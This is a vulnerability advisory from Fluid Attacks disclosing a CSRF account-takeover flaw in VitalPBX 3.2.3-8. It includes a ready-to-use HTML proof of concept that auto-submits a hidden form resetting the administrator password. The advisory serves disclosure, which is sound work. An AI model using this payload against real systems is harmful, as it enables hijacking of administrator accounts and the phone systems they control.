VitalPBX 3.2.3-8 - Account Takeover via CSRF

6.5

Medium

Discovered by 

Carlos Bello

Offensive Team, Fluid Attacks

Summary

Full name

VitalPBX 3.2.3-8 - Account Takeover via CSRF

Code name

State

Public

Release date

Apr 10, 2023

Affected product

VitalPBX

Affected version(s)

3.2.3-8

Vulnerability name

Cross-site request forgery

Remotely exploitable

Yes

CVSS v3.1 vector string

CVSS:AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

CVSS v3.1 base score

6.5

Exploit available

No

CVE ID(s)

Description

VitalPBX version 3.2.3-8 allows an unauthenticated external attacker to obtain the instance administrator's account. This is possible because the application is vulnerable to CSRF.

Vulnerability

This vulnerability occurs because the application is vulnerable to CSRF.

Exploit

To exploit this vulnerability, we only need to send the administrator a malicious HTML like the following.

<!DOCTYPE html>
<html>
 <body>
 <form action="http://137.184.73.151/index.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="user_id" value="1" />
 <input type="hidden" name="class" value="user_profile" />
 <input type="hidden" name="method" value="put" />
 <input type="hidden" name="mode" value="edit" />
 <input type="hidden" name="username" value="admin" />
 <input type="hidden" name="email" value="" />
 <input type="hidden" name="password" value="hacked" />
 <input type="hidden" name="role" value="1" />
 <input type="hidden" name="startapp" value="dashboard" />
 <input type="hidden" name="startapp_custom" value="" />
 <input type="hidden" name="displayname" value="Administrator" />
 <input type="hidden" name="department" value="Administración" />
 <input type="hidden" name="userphoto" value="" />
 <input type="hidden" name="userphoto" value="" />
 <input type="hidden" name="userphoto_configured" value="" />
 <input type="hidden" name="theme" value="vital_pbx" />
 <input type="hidden" name="locale" value="en_US" />
 <input type="hidden" name="timezone" value="system" />
 <input type="hidden" name="multitab" value="1" />
 </form>
 <script>
 document.forms[0].submit();
 </script>
 </body>
</html>

Evidence of exploitation

Our security policy

We have reserved the ID CVE-2023-0480 to refer to this issue from now on. Disclosure policy

System Information

  • Version: VitalPBX 3.2.3-8

  • Operating System: GNU/Linux

Mitigation

There is currently no patch available for this vulnerability.

References

Timeline

Vulnerability discovered

Jan 24, 2023

Vendor contacted

Jan 24, 2023

Public disclosure

Apr 10, 2023

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

SOC 2 Type II

SOC 3

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

SOC 2 Type II

SOC 3

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

SOC 2 Type II

SOC 3

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.